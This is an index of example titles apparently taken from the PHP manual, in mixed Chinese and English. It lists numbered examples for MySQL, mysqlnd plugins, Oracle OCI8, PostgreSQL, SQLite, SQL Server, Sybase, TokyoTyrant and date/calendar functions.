  • Example#2082 - mysql_xdevapi\Session::setSavepoint example
  • Example#2083 - mysql_xdevapi\Session::sql example
  • Example#2084 - mysql_xdevapi\Session::startTransaction example
  • Example#2085 - mysql_xdevapi\SqlStatement::bind example
  • Example#2086 - mysql_xdevapi\SqlStatement::__construct example
  • Example#2087 - mysql_xdevapi\SqlStatement::execute example
  • Example#2088 - mysql_xdevapi\SqlStatement::getNextResult example
  • Example#2089 - mysql_xdevapi\SqlStatement::getResult example
  • Example#2090 - mysql_xdevapi\SqlStatement::hasMoreResults example
  • Example#2091 - mysql_xdevapi\SqlStatementResult::__construct example
  • Example#2092 - mysql_xdevapi\SqlStatementResult::fetchAll example
  • Example#2093 - mysql_xdevapi\SqlStatementResult::fetchOne example
  • Example#2094 - mysql_xdevapi\SqlStatementResult::getAffectedItemsCount example
  • Example#2095 - mysql_xdevapi\SqlStatementResult::getColumnsCount example
  • Example#2096 - mysql_xdevapi\SqlStatementResult::getColumnNames example
  • Example#2097 - mysql_xdevapi\SqlStatementResult::getColumns example
  • Example#2098 - mysql_xdevapi\SqlStatementResult::getGeneratedIds example
  • Example#2099 - mysql_xdevapi\SqlStatementResult::getLastInsertId example
  • Example#2100 - mysql_xdevapi\SqlStatementResult::getWarnings example
  • Example#2101 - mysql_xdevapi\SqlStatementResult::getWarningsCount example
  • Example#2102 - mysql_xdevapi\SqlStatementResult::hasData example
  • Example#2103 - mysql_xdevapi\SqlStatementResult::nextResult example
  • Example#2104 - mysql_xdevapi\Statement::__construct example
  • Example#2105 - mysql_xdevapi\Statement::getNextResult example
  • Example#2106 - mysql_xdevapi\Statement::getResult example
  • Example#2107 - mysql_xdevapi\Statement::hasMoreResults example
  • Example#2108 - mysql_xdevapi\Table::__construct example
  • Example#2109 - mysql_xdevapi\Table::count example
  • Example#2110 - mysql_xdevapi\Table::delete example
  • Example#2111 - mysql_xdevapi\Table::existsInDatabase example
  • Example#2112 - mysql_xdevapi\Table::getName example
  • Example#2113 - mysql_xdevapi\Table::getSchema example
  • Example#2114 - mysql_xdevapi\Table::getSession example
  • Example#2115 - mysql_xdevapi\Table::insert example
  • Example#2116 - mysql_xdevapi\Table::isView example
  • Example#2117 - mysql_xdevapi\Table::count example
  • Example#2118 - mysql_xdevapi\Table::update example
  • Example#2119 - mysql_xdevapi\TableDelete::bind example
  • Example#2120 - mysql_xdevapi\TableDelete::__construct example
  • Example#2121 - mysql_xdevapi\TableDelete::execute example
  • Example#2122 - mysql_xdevapi\TableDelete::limit example
  • Example#2123 - mysql_xdevapi\TableDelete::orderBy example
  • Example#2124 - mysql_xdevapi\TableDelete::where example
  • Example#2125 - mysql_xdevapi\TableInsert::__construct example
  • Example#2126 - mysql_xdevapi\TableInsert::execute example
  • Example#2127 - mysql_xdevapi\TableInsert::values example
  • Example#2128 - mysql_xdevapi\TableSelect::bind example
  • Example#2129 - mysql_xdevapi\TableSelect::__construct example
  • Example#2130 - mysql_xdevapi\TableSelect::execute example
  • Example#2131 - mysql_xdevapi\TableSelect::groupBy example
  • Example#2132 - mysql_xdevapi\TableSelect::having example
  • Example#2133 - mysql_xdevapi\TableSelect::limit example
  • Example#2134 - mysql_xdevapi\TableSelect::lockExclusive example
  • Example#2135 - mysql_xdevapi\TableSelect::lockShared example
  • Example#2136 - mysql_xdevapi\TableSelect::offset example
  • Example#2137 - mysql_xdevapi\TableSelect::orderBy example
  • Example#2138 - mysql_xdevapi\TableSelect::where example
  • Example#2139 - mysql_xdevapi\TableUpdate::bind example
  • Example#2140 - mysql_xdevapi\TableUpdate::__construct example
  • Example#2141 - mysql_xdevapi\TableUpdate::execute example
  • Example#2142 - mysql_xdevapi\TableUpdate::limit example
  • Example#2143 - mysql_xdevapi\TableUpdate::orderby example
  • Example#2144 - mysql_xdevapi\TableUpdate::set example
  • Example#2145 - mysql_xdevapi\TableUpdate::where example
  • Example#2146 - mysql_xdevapi\Warning::__construct example
  • Example#2147 - mysql_xdevapi\XSession::__construct example
  • Example#2148 - MySQL 扩展概述范例
  • Example#2149 - mysql_affected_rows 例子
  • Example#2150 - 使用事务处理的 mysql_affected_rows 例子
  • Example#2151 - mysql_client_encoding 例子
  • Example#2152 - mysql_close 例子
  • Example#2153 - mysql_connect 例子
  • Example#2154 - mysql_connect 例子：使用 hostname:port 语法
  • Example#2155 - mysql_connect 例子：使用 ":/path/to/socket" 语法
  • Example#2156 - 替代 mysql_create_db 的例子
  • Example#2157 - mysql_data_seek 例子
  • Example#2158 - mysql_db_name 例子
  • Example#2159 - mysql_drop_db alternative example
  • Example#2160 - mysql_errno 例子
  • Example#2161 - mysql_error 例子
  • Example#2162 - mysql_escape_string 例子
  • Example#2163 - 相同字段名的查询
  • Example#2164 - mysql_fetch_array 使用 MYSQL_NUM
  • Example#2165 - mysql_fetch_array 使用 MYSQL_ASSOC
  • Example#2166 - mysql_fetch_array 使用 MYSQL_BOTH
  • Example#2167 - Query with aliased duplicate field names
  • Example#2168 - mysql_fetch_array with MYSQL_NUM
  • Example#2169 - mysql_fetch_array with MYSQL_ASSOC
  • Example#2170 - mysql_fetch_array with MYSQL_BOTH
  • Example#2171 - 扩展的 mysql_fetch_assoc 例子
  • Example#2172 - mysql_fetch_field
  • Example#2173 - mysql_fetch_field example
  • Example#2174 - mysql_fetch_object 例子
  • Example#2175 - mysql_fetch_object example
  • Example#2176 - mysql_fetch_object example
  • Example#2177 - Fetching one row with mysql_fetch_row
  • Example#2178 - mysql_field_name 例子
  • Example#2179 - mysql_field_name example
  • Example#2180 - mysql_field_type 例子
  • Example#2181 - mysql_field_type example
  • Example#2182 - A mysql_free_result example
  • Example#2183 - mysql_get_client_info 例子
  • Example#2184 - mysql_get_host_info 例子
  • Example#2185 - mysql_get_proto_info 例子
  • Example#2186 - mysql_get_server_info 例子
  • Example#2187 - 相关的 MySQL 语句
  • Example#2188 - mysql_insert_id 例子
  • Example#2189 - mysql_list_dbs 例子
  • Example#2190 - mysql_list_fields 例子
  • Example#2191 - mysql_list_processes 例子
  • Example#2192 - mysql_list_tables 例子
  • Example#2193 - mysql_num_rows 例子
  • Example#2194 - 无效的查询
  • Example#2195 - 有效的查询
  • Example#2196 - mysql_real_escape_string 例子
  • Example#2197 - mysql_real_escape_string requires a connection example
  • Example#2198 - An example SQL Injection Attack
  • Example#2199 - mysql_result 例子
  • Example#2200 - mysql_select_db 例子
  • Example#2201 - mysql_select_db example
  • Example#2202 - mysql_stat 例子
  • Example#2203 - mysql_tablename 例子
  • Example#2204 - mysql_thread_id 例子
  • Example#2205 - 启用插件(php.ini)
  • Example#2206 - 最基本的插件配置文件 (mysqlnd_ms_plugin.ini)
  • Example#2207 - 建议最基本的插件配置文件 (mysqlnd_ms_plugin.ini)
  • Example#2208 - 使用一个服务器同时作为 master 和 slave（仅用于测试！）
  • Example#2209 - 插件指定的配置文件 (mysqlnd_ms_plugin.ini)
  • Example#2210 - 开启一个负载均衡链接
  • Example#2211 - Executing statements
  • Example#2212 - 配置了一个 master 和一个 slave 的插件
  • Example#2213 - 陷阱：连接状态和 SQL 用户变量
  • Example#2214 - 配置一个 master 和一个 slave 的插件
  • Example#2215 - SQL hints 禁止连接切换
  • Example#2216 - 与同步延迟斗争
  • Example#2217 - Table creation on a slave
  • Example#2218 - 配置一个 master 和一个 slave 的插件
  • Example#2219 - 在事务中使用 SQL hints
  • Example#2220 - 事务相关负载均衡下的 trx_stickiness 设置
  • Example#2221 - Transaction aware
  • Example#2222 - General pattern for XA transactions
  • Example#2223 - Local and global transactions are mutually exclusive
  • Example#2224 - Transaction coordinator state store
  • Example#2225 - session 一致性：读取写入内容
  • Example#2226 - Requesting session consistency
  • Example#2227 - Maximum age/slave lag
  • Example#2228 - 限制 slave 延迟
  • Example#2229 - 不设置故障处理
  • Example#2230 - No slave within time limit
  • Example#2231 - 在 master 创建计数器表
  • Example#2232 - Plugin config: SQL for client-side GTID injection
  • Example#2233 - Transparent global transaction ID injection
  • Example#2234 - Plugin config: SQL for fetching GTID
  • Example#2235 - Obtaining GTID after injection
  • Example#2236 - Plugin config: Checking for a certain GTID
  • Example#2237 - Session consistency service level and GTID combined
  • Example#2238 - 使用 MySQL 5.6.5-m8 内置 GTID
  • Example#2239 - Recap: quality of service to request read your writes
  • Example#2240 - Plugin config: no special entries for caching
  • Example#2241 - Caching a slave request
  • Example#2242 - Read your writes and caching combined
  • Example#2243 - 手动故障转移，可选自动
  • Example#2244 - 手动故障转移
  • Example#2245 - Cluster node groups
  • Example#2246 - 通过 SQL hints 完成手动分区
  • Example#2247 - Plugin config: Fabric hosts instead of MySQL servers
  • Example#2248 - Manual partitioning using SQL hints
  • Example#2249 - Provoking a connection error
  • Example#2250 - 在查询执行时产生连接错误
  • Example#2251 - 产生一个连接错误
  • Example#2252 - 非常基础的错误处理
  • Example#2253 - Provoking a transient error
  • Example#2254 - 短错误尝试循环
  • Example#2255 - Enabling the plugin (php.ini)
  • Example#2256 - Basic plugin configuration (mysqlnd_ms_plugin.ini) for MySQL Replication
  • Example#2257 - Multiple primaries - multi master (php.ini)
  • Example#2258 - Primary copy with multiple primaries and paritioning
  • Example#2259 - Multiple primaries - multi master (php.ini)
  • Example#2260 - Synchronous update anywhere cluster
  • Example#2261 - General pattern for XA transactions
  • Example#2262 - Converting a PHP array (hash) into JSON format
  • Example#2263 - Using section names example
  • Example#2264 - List of anonymous slaves
  • Example#2265 - Master list using symbolic names
  • Example#2266 - Keywords to configure a server
  • Example#2267 - New roundrobin filter, old functionality
  • Example#2268 - The user filter replaces mysqlnd_ms_set_user_pick_server
  • Example#2269 - Common error message in case of configuration file issues (upto version 1.5.0)
  • Example#2270 - Improved configuration file validation since 1.5.0
  • Example#2271 - Possibly more precise error due to mysqlnd_ms.force_config_usage=1
  • Example#2272 - Minimum pluging configuration for use with MySQL Fabric
  • Example#2273 - Optional timeout for communication with Fabric
  • Example#2274 - Warnings about the violation of transaction boundaries
  • Example#2275 - Invalid filter sequence
  • Example#2276 - Random load balancing with random filter
  • Example#2277 - Random once load balancing with random filter
  • Example#2278 - Referencing error
  • Example#2279 - Assigning a weight for load balancing
  • Example#2280 - roundrobin filter
  • Example#2281 - Setting a callback
  • Example#2282 - Using a callback
  • Example#2283 - Returning random masters and slaves
  • Example#2284 - Manual partitioning
  • Example#2285 - Global limit on slave lag
  • Example#2286 - Optional master failover when failing to connect to slave (PECL/mysqlnd_ms < 1.4.0)
  • Example#2287 - New syntax since 1.4.0
  • Example#2288 - Disabling lazy connection
  • Example#2289 - String escaping on a lazy connection handle
  • Example#2290 - Master on write for consistent reads
  • Example#2291 - Using master to execute transactions
  • Example#2292 - No automatic failover, error handling pitfall
  • Example#2293 - Retry loop for transient errors
  • Example#2294 - SQL definition for the MySQL state store transaction table
  • Example#2295 - SQL definition for the MySQL state store transaction table
  • Example#2296 - SQL definition for the MySQL state store garbage collection table
  • Example#2297 - Using section names example
  • Example#2298 - List-like syntax
  • Example#2299 - Verify plugin activity in a non-threaded deployment model
  • Example#2300 - Recording statistics during shutdown
  • Example#2301 - Example demonstrating the usage of mysqlnd_ms constants
  • Example#2302 - mysqlnd_ms_dump_servers example
  • Example#2303 - mysqlnd_ms_get_last_gtid example
  • Example#2304 - mysqlnd_ms_get_last_used_connection example
  • Example#2305 - mysqlnd_ms_get_stats example
  • Example#2306 - mysqlnd_ms_match_wild example
  • Example#2307 - mysqlnd_ms_query_is_select example
  • Example#2308 - mysqlnd_ms_set_qos example
  • Example#2309 - mysqlnd_ms_set_user_pick_server example
  • Example#2310 - Enabling the plugin (php.ini)
  • Example#2311 - Using the MYSQLND_QC_ENABLE_SWITCH SQL hint
  • Example#2312 - Using the MYSQLND_QC_DISABLE_SWITCH SQL hint
  • Example#2313 - Example showing which type of statements are not cached
  • Example#2314 - Enabling caching for all statements using the mysqlnd_qc.cache_no_table ini setting
  • Example#2315 - Setting the TTL with the mysqlnd_qc.ttl ini setting
  • Example#2316 - Setting TTL with SQL hints
  • Example#2317 - Setting a callback with mysqlnd_qc_set_is_select
  • Example#2318 - Enabling the slam defense mechanism
  • Example#2319 - Collecting a query trace
  • Example#2320 - Setting the backtrace depth with the mysqlnd_qc.query_trace_bt_depth ini setting
  • Example#2321 - Collecting statistics data with the mysqlnd_qc.time_statistics ini setting
  • Example#2322 - Example mysqlnd_qc_get_cache_info usage
  • Example#2323 - Example mysqlnd_qc_get_normalized_query_trace_log usage
  • Example#2324 - Using a user-defined storage handler
  • Example#2325 - Using SQL hint constants
  • Example#2326 - Example mysqlnd_qc_set_cache_condition usage
  • Example#2327 - mysqlnd_qc_get_available_handlers example
  • Example#2328 - mysqlnd_qc_get_cache_info example
  • Example#2329 - mysqlnd_qc_get_core_stats example
  • Example#2330 - mysqlnd_qc_get_normalized_query_trace_log example
  • Example#2331 - mysqlnd_qc_get_query_trace_log example
  • Example#2332 - mysqlnd_qc_set_cache_condition example
  • Example#2333 - mysqlnd_qc_set_is_select example
  • Example#2334 - mysqlnd_qc_set_storage_handler example
  • Example#2335 - Enabling the plugin (php.ini)
  • Example#2336 - Pseudo-code: what a built-in class does
  • Example#2337 - Installing a proxy
  • Example#2338 - Proxy registration, mysqlnd_uh.enable=1
  • Example#2339 - Proxy installation disabled
  • Example#2340 - Connection proxy
  • Example#2341 - Prepared statement proxy
  • Example#2342 - Basic Monitoring
  • Example#2343 - MysqlndUhConnection::changeUser example
  • Example#2344 - MysqlndUhConnection::charsetName example
  • Example#2345 - MysqlndUhConnection::close example
  • Example#2346 - MysqlndUhConnection::connect example
  • Example#2347 - MysqlndUhConnection::endPSession example
  • Example#2348 - MysqlndUhConnection::escapeString example
  • Example#2349 - MysqlndUhConnection::getAffectedRows example
  • Example#2350 - MysqlndUhConnection::getErrorNumber example
  • Example#2351 - MysqlndUhConnection::getErrorString example
  • Example#2352 - MysqlndUhConnection::getFieldCount example
  • Example#2353 - MysqlndUhConnection::getHostInformation example
  • Example#2354 - MysqlndUhConnection::getLastInsertId example
  • Example#2355 - MysqlndUhConnection::getLastMessage example
  • Example#2356 - MysqlndUhConnection::getProtocolInformation example
  • Example#2357 - MysqlndUhConnection::getServerInformation example
  • Example#2358 - MysqlndUhConnection::getServerStatistics example
  • Example#2359 - MysqlndUhConnection::getServerVersion example
  • Example#2360 - MysqlndUhConnection::getSqlstate example
  • Example#2361 - MysqlndUhConnection::getStatistics example
  • Example#2362 - MysqlndUhConnection::getThreadId example
  • Example#2363 - MysqlndUhConnection::getWarningCount example
  • Example#2364 - MysqlndUhConnection::init example
  • Example#2365 - MysqlndUhConnection::kill example
  • Example#2366 - MysqlndUhConnection::listFields example
  • Example#2367 - MysqlndUhConnection::listMethod example
  • Example#2368 - MysqlndUhConnection::moreResults example
  • Example#2369 - MysqlndUhConnection::nextResult example
  • Example#2370 - MysqlndUhConnection::ping example
  • Example#2371 - MysqlndUhConnection::query example
  • Example#2372 - MysqlndUhConnection::queryReadResultsetHeader example
  • Example#2373 - MysqlndUhConnection::reapQuery example
  • Example#2374 - MysqlndUhConnection::refreshServer example
  • Example#2375 - MysqlndUhConnection::restartPSession example
  • Example#2376 - MysqlndUhConnection::selectDb example
  • Example#2377 - MysqlndUhConnection::sendClose example
  • Example#2378 - MysqlndUhConnection::sendQuery example
  • Example#2379 - MysqlndUhConnection::serverDumpDebugInformation example
  • Example#2380 - MysqlndUhConnection::setAutocommit example
  • Example#2381 - MysqlndUhConnection::setCharset example
  • Example#2382 - MysqlndUhConnection::setClientOption example
  • Example#2383 - MysqlndUhConnection::setServerOption example
  • Example#2384 - MysqlndUhConnection::simpleCommand example
  • Example#2385 - MysqlndUhConnection::simpleCommandHandleResponse example
  • Example#2386 - MysqlndUhConnection::sslSet example
  • Example#2387 - MysqlndUhConnection::stmtInit example
  • Example#2388 - MysqlndUhConnection::storeResult example
  • Example#2389 - MysqlndUhConnection::txCommit example
  • Example#2390 - MysqlndUhConnection::txRollback example
  • Example#2391 - MysqlndUhConnection::useResult example
  • Example#2392 - MysqlndUhPreparedStatement::execute example
  • Example#2393 - MysqlndUhPreparedStatement::prepare example
  • Example#2394 - mysqlnd_uh_convert_to_mysqlnd example
  • Example#2395 - mysqlnd_uh_set_connection_proxy example
  • Example#2396 - Enabling the plugin (php.ini)
  • Example#2397 - SQL table used for the Quickstart
  • Example#2398 - Basic example.
  • Example#2399 - mysqlnd_memcache_get_config example
  • Example#2400 - mysqlnd_memcache_set example with var_dump as a simple debugging callback.
  • Example#2401 - Basic query
  • Example#2402 - Inserting with bind variables
  • Example#2403 - Binding in the WHERE clause of a query
  • Example#2404 - Inserting and fetching a CLOB
  • Example#2405 - Using a PL/SQL stored function
  • Example#2406 - Using a PL/SQL stored procedure
  • Example#2407 - Calling a PL/SQL function that returns a REF CURSOR
  • Example#2408 -
  • Example#2409 - user_oci8_probes.d for tracing all user-level PHP OCI8 Static Probes with DTrace
  • Example#2410 - oci_bind_array_by_name example
  • Example#2411 - oci_bind_by_name 例子
  • Example#2412 - oci_bind_by_name 例子
  • Example#2413 - oci_bind_by_name 例子
  • Example#2414 - Inserting data with oci_bind_by_name
  • Example#2415 - Binding once for multiple executions
  • Example#2416 - Binding with a foreach loop
  • Example#2417 - Binding in a WHERE clause
  • Example#2418 - Binding with a LIKE clause
  • Example#2419 - Binding with REGEXP_LIKE
  • Example#2420 - Binding Multiple Values in an IN Clause
  • Example#2421 - Binding a ROWID returned by a query
  • Example#2422 - Binding a ROWID on INSERT
  • Example#2423 - Binding for a PL/SQL stored function
  • Example#2424 - Binding parameters for a PL/SQL stored procedure
  • Example#2425 - Binding a CLOB column
  • Example#2426 - oci_client_version example
  • Example#2427 - Closing a connection
  • Example#2428 - Database connections are not closed until all references are closed
  • Example#2429 - Closing a connection opened more than once
  • Example#2430 - Connections are closed when variables go out of scope
  • Example#2431 - oci_commit 例子
  • Example#2432 - oci_commit example
  • Example#2433 - oci_connect 例子
  • Example#2434 - Basic oci_connect using Easy Connect syntax
  • Example#2435 - Basic oci_connect using a Network Connect name
  • Example#2436 - oci_connect with an explicit character set
  • Example#2437 - Using multiple calls to oci_connect
  • Example#2438 - oci_define_by_name 例子
  • Example#2439 - 连接错误后显示 Oracle 错误信息
  • Example#2440 - 语法解析错误后显示 Oracle 错误信息
  • Example#2441 - 执行错误后显示 Oracle 错误信息和出错的语句
  • Example#2442 - oci_execute for queries
  • Example#2443 - oci_execute without specifying a mode example
  • Example#2444 - oci_execute with OCI_NO_AUTO_COMMIT example
  • Example#2445 - oci_execute with different commit modes example
  • Example#2446 - oci_execute with OCI_DESCRIBE_ONLY example
  • Example#2447 - oci_fetch_all 例子
  • Example#2448 - oci_fetch_all example
  • Example#2449 - oci_fetch_all example with OCI_FETCHSTATEMENT_BY_ROW
  • Example#2450 - oci_fetch_all with OCI_NUM
  • Example#2451 - oci_fetch_array with OCI_BOTH
  • Example#2452 - oci_fetch_array with OCI_NUM
  • Example#2453 - oci_fetch_array with OCI_ASSOC
  • Example#2454 - oci_fetch_array with OCI_RETURN_NULLS
  • Example#2455 - oci_fetch_array with OCI_RETURN_LOBS
  • Example#2456 - oci_fetch_array with case sensitive column names
  • Example#2457 - oci_fetch_array with columns having duplicate names
  • Example#2458 - oci_fetch_array with DATE columns
  • Example#2459 - oci_fetch_array with REF CURSOR
  • Example#2460 - Pagination with oci_fetch_array using a LIMIT-like query
  • Example#2461 - oci_fetch_array with Oracle Database 12c Implicit Result Sets
  • Example#2462 - oci_fetch_assoc Example
  • Example#2463 - oci_fetch_object example
  • Example#2464 - oci_fetch_object with case sensitive column names
  • Example#2465 - oci_fetch_object with LOBs
  • Example#2466 - oci_fetch_row Example
  • Example#2467 - oci_fetch with defined variables
  • Example#2468 - oci_fetch with oci_result
  • Example#2469 - oci_field_name 例子
  • Example#2470 - oci_field_size例子
  • Example#2471 - oci_field_type 例子
  • Example#2472 - Fetching Implicit Result Sets in a loop
  • Example#2473 - Getting child statement handles individually
  • Example#2474 - Explicitly setting the Prefetch Count
  • Example#2475 - Implicit Result Set example without using oci_get_implicit_resultset
  • Example#2476 - oci_new_connect 例子
  • Example#2477 - oci_new_connect example
  • Example#2478 - 在 Oracle 的存储过程中使用 REF CURSOR
  • Example#2479 - 在 Oracle 的 select 语句中使用 REF CURSOR
  • Example#2480 - oci_new_descriptor 例子
  • Example#2481 - oci_new_descriptor 例子
  • Example#2482 - oci_num_fields 例子
  • Example#2483 - oci_num_rows 例子
  • Example#2484 - oci_rollback example
  • Example#2485 - Rolling back to a SAVEPOINT example
  • Example#2486 - oci_server_version 例子
  • Example#2487 - Setting the action
  • Example#2488 - Setting the timeout
  • Example#2489 - Setting the client identifier to the application user
  • Example#2490 - Setting the client information
  • Example#2491 - Setting the DBOP
  • Example#2492 - Two scripts can use different versions of myfunc() at the same time
  • Example#2493 - Setting the module name
  • Example#2494 - Changing the default prefetch value for a query
  • Example#2495 - Changing the default prefetch for a REF CURSOR fetch
  • Example#2496 - Setting the prefetch value when passing a REF CURSOR back to Oracle
  • Example#2497 - oci_statement_type 例子
  • Example#2498 - Creating a Paradox database with two fields
  • Example#2499 - Turn a paradox date into a human readable form
  • Example#2500 - Set the date/time fields in a paradox database to the current date/time
  • Example#2501 - Opening a Paradox database
  • Example#2502 - Opening a Paradox database
  • Example#2503 - Turn a paradox timestamp into a human readable form
  • Example#2504 - PostgreSQL extension overview example
  • Example#2505 - PostgreSQL user defined functions example
  • Example#2506 - pg_affected_rows 例子
  • Example#2507 - pg_close 例子
  • Example#2508 - 使用 pg_connect
  • Example#2509 - pg_connection_busy 例子
  • Example#2510 - pg_connection_reset 例子
  • Example#2511 - pg_connection_status 例子
  • Example#2512 - pg_connection_status 例子
  • Example#2513 - pg_convert example
  • Example#2514 - pg_copy_from example
  • Example#2515 - pg_dbname 例子
  • Example#2516 - pg_delete 例子
  • Example#2517 - pg_end_copy 例子
  • Example#2518 - pg_escape_identifier example
  • Example#2519 - pg_escape_literal example
  • Example#2520 - Using pg_execute
  • Example#2521 - pg_fetch_all_columns example
  • Example#2522 - pg_fetch_all 例子
  • Example#2523 - pg_fetch_array
  • Example#2524 - pg_fetch_assoc 例子
  • Example#2525 - pg_fetch_object
  • Example#2526 - pg_fetch_row 例子
  • Example#2527 - pg_field_is_null 例子
  • Example#2528 - 获取字段信息
  • Example#2529 - Getting table information about a field
  • Example#2530 - Getting information about fields
  • Example#2531 - pg_free_result example
  • Example#2532 - PostgreSQL NOTIFY 消息
  • Example#2533 - PostgreSQL 后端 PID
  • Example#2534 - pg_insert example
  • Example#2535 - pg_last_notice example
  • Example#2536 - pg_lo_export example
  • Example#2537 - pg_lo_import 例子
  • Example#2538 - pg_lo_truncate example
  • Example#2539 - pg_lo_unlink example
  • Example#2540 - 取得表的元数据
  • Example#2541 - pg_parameter_status example
  • Example#2542 - Using pg_pconnect
  • Example#2543 - pg_ping
  • Example#2544 - Using pg_prepare
  • Example#2545 - pg_put_line 例子
  • Example#2546 - Using pg_query_params
  • Example#2547 - pg_result_error_field example
  • Example#2548 - pg_select example
  • Example#2549 - Using pg_send_execute
  • Example#2550 - Using pg_send_prepare
  • Example#2551 - Using pg_send_query_params
  • Example#2552 - 异步查询
  • Example#2553 - pg_set_error_verbosity example
  • Example#2554 - pg_transaction_status example
  • Example#2555 - pg_update example
  • Example#2556 - pg_version example
  • Example#2557 - 过程化风格
  • Example#2558 - Object-oriented style
  • Example#2559 - 过程化风格
  • Example#2560 - 面向对象风格
  • Example#2561 - 过程化风格
  • Example#2562 - 面向对象风格
  • Example#2563 - sqlite_close example
  • Example#2564 - max_length aggregation function example
  • Example#2565 - sqlite_create_function example
  • Example#2566 - Example of using the PHP function
  • Example#2567 - Procedural example
  • Example#2568 - Object-oriented example
  • Example#2569 - sqlite_factory example
  • Example#2570 - Procedural example
  • Example#2571 - Object-oriented example
  • Example#2572 - Procedural example
  • Example#2573 - Object-oriented example
  • Example#2574 - Procedural example
  • Example#2575 - Object-oriented example
  • Example#2576 - A sqlite_fetch_single example
  • Example#2577 - Procedural example
  • Example#2578 - Object-oriented example
  • Example#2579 - sqlite_open example
  • Example#2580 - binary-safe max_length aggregation function example
  • Example#2581 - SQLite3::changes example
  • Example#2582 - SQLite3::close example
  • Example#2583 - SQLite3::__construct example
  • Example#2584 - max_length aggregation function example
  • Example#2585 - SQLite3::createCollation example
  • Example#2586 - SQLite3::createFunction example
  • Example#2587 - SQLite3::enableExceptions example
  • Example#2588 - SQLite3::exec example
  • Example#2589 - SQLite3::loadExtension example
  • Example#2590 - SQLite3::open example
  • Example#2591 - SQLite3::openBlob example
  • Example#2592 - Incrementally writing a BLOB
  • Example#2593 - SQLite3::prepare example
  • Example#2594 - SQLite3::query example
  • Example#2595 - SQLite3::querySingle example
  • Example#2596 - SQLite3::version example
  • Example#2597 - SQLite3Stmt::bindParam Usage
  • Example#2598 - SQLite3Stmt::bindValue example
  • Example#2599 - Inspecting the expanded SQL
  • Example#2600 - sqlsrv_begin_transaction example
  • Example#2601 - sqlsrv_cancel example
  • Example#2602 - sqlsrv_client_info example
  • Example#2603 - sqlsrv_close example
  • Example#2604 - sqlsrv_commit example
  • Example#2605 - Connect using Windows Authentication.
  • Example#2606 - Connect by specifying a user name and password.
  • Example#2607 - Connect on a specified port.
  • Example#2608 - functionname example
  • Example#2609 - sqlsrv_execute example
  • Example#2610 - Retrieving an associative array.
  • Example#2611 - Retrieving a numeric array.
  • Example#2612 - sqlsrv_fetch_object example
  • Example#2613 - sqlsrv_fetch example
  • Example#2614 - sqlsrv_field_metadata example
  • Example#2615 - sqlsrv_free_stmt example
  • Example#2616 - sqlsrv_get_field example
  • Example#2617 - sqlsrv_has_rows example
  • Example#2618 - sqlsrv_next_result example
  • Example#2619 - sqlsrv_num_fields example
  • Example#2620 - sqlsrv_num_rows example
  • Example#2621 - sqlsrv_prepare example
  • Example#2622 - sqlsrv_query example
  • Example#2623 - sqlsrv_rollback example
  • Example#2624 - sqlsrv_rows_affected example
  • Example#2625 - sqlsrv_send_stream_data example
  • Example#2626 - sqlsrv_server_info example
  • Example#2627 - Delete-Query
  • Example#2628 - sybase_connect example
  • Example#2629 - Identical fieldnames
  • Example#2630 - sybase_fetch_object return as Foo
  • Example#2631 - sybase_set_message_handler callback function
  • Example#2632 - sybase_set_message_handler callback to a class
  • Example#2633 - sybase_set_message_handler unhandled messages
  • Example#2634 - sybase_unbuffered_query example
  • Example#2635 - Putting and getting a key-value pair
  • Example#2636 - TokyoTyrant::add example
  • Example#2637 - TokyoTyrant::connect example
  • Example#2638 - TokyoTyrant::connectUri example
  • Example#2639 - TokyoTyrant::copy example
  • Example#2640 - TokyoTyrant::ext example
  • Example#2641 - TokyoTyrant::fwmKeys example
  • Example#2642 - TokyoTyrant::get example
  • Example#2643 - TokyoTyrant::getIterator example
  • Example#2644 - TokyoTyrant::num example
  • Example#2645 - TokyoTyrant::out example
  • Example#2646 - TokyoTyrant::put example
  • Example#2647 - TokyoTyrant::putCat example
  • Example#2648 - tokyotyrant::putKeep example
  • Example#2649 - TokyoTyrant::putNr example
  • Example#2650 - TokyoTyrant::putShl example
  • Example#2651 - TokyoTyrant::setMaster example
  • Example#2652 - TokyoTyrant::size example
  • Example#2653 - TokyoTyrant::stat example
  • Example#2654 - TokyoTyrant::vanish example
  • Example#2655 - TokyoTyrantTable::genUid example
  • Example#2656 - TokyoTyrantTable::get example
  • Example#2657 - TokyoTyrantTable::getIterator example
  • Example#2658 - TokyoTyrantTable::getQuery example
  • Example#2659 - TokyoTyrantTable::out example
  • Example#2660 - TokyoTyrantTable::put example
  • Example#2661 - TokyoTyrantTable::putCat example
  • Example#2662 - TokyoTyrantTable::putKeep example
  • Example#2663 - TokyoTyrantQuery::addCond example
  • Example#2664 - TokyoTyrantQuery::__construct example
  • Example#2665 - TokyoTyrantQuery::count example
  • Example#2666 - TokyoTyrantQuery iterator example
  • Example#2667 - TokyoTyrantQuery::hint example
  • Example#2668 - TokyoTyrantQuery iterator example
  • Example#2669 - TokyoTyrantQuery::metaSearch example
  • Example#2670 - TokyoTyrantQuery iterator example
  • Example#2671 - TokyoTyrantQuery::out example
  • Example#2672 - TokyoTyrantQuery iterator example
  • Example#2673 - TokyoTyrantQuery::search example
  • Example#2674 - TokyoTyrantQuery iterator example
  • Example#2675 - TokyoTyrantIterator::__construct example
  • Example#2676 - cal_days_in_month example
  • Example#2677 - cal_from_jd example
  • Example#2678 - cal_info example
  • Example#2679 - easter_date example
  • Example#2680 - easter_days example
  • Example#2681 - Calendar functions
  • Example#2682 - jdtojewish Example
  • Example#2683 - DateTime::add/sub add intervals which cover elapsed time
  • Example#2684 - DateTime::modify and strtotime increment or decrement individual component values
  • Example#2685 - Adding or subtracting times can over- or underflow dates
  • Example#2686 - DateTime::add 例程
  • Example#2687 - Further DateTime::add 例程
  • Example#2688 - 当在 DateTime 上加月的时候要注意
  • Example#2689 - DateTime::__construct 例程
  • Example#2690 - DateTime::__construct 的复杂用法
  • Example#2691 - DateTime::createFromFormat 例程
  • Example#2692 - DateTime::createFromFormat 的复杂用法
  • Example#2693 - 格式化字符串中包含了需要进行转义的字符
  • Example#2694 - Creating a mutable date time object
  • Example#2695 - DateTime::getLastErrors 例程
  • Example#2696 - DateTime::modify 例程
  • Example#2697 - 增加或者减少月份的时候需要注意
  • Example#2698 - DateTime::setDate 例程
  • Example#2699 - 超出范围的部分会向上一级增加
  • Example#2700 - DateTime::setISODate 例程
  • Example#2701 - 超出有效范围的部分，会加到上一级
  • Example#2702 - 找出来某个周所属的月份
  • Example#2703 - DateTime::setTime 例程
  • Example#2704 - 超出有效范围的部分会增加到上一级
  • Example#2705 - DateTime::setTimestamp 例程
  • Example#2706 - PHP 5.2 之后的版本中，DateTime::setTimestamp 替代方案
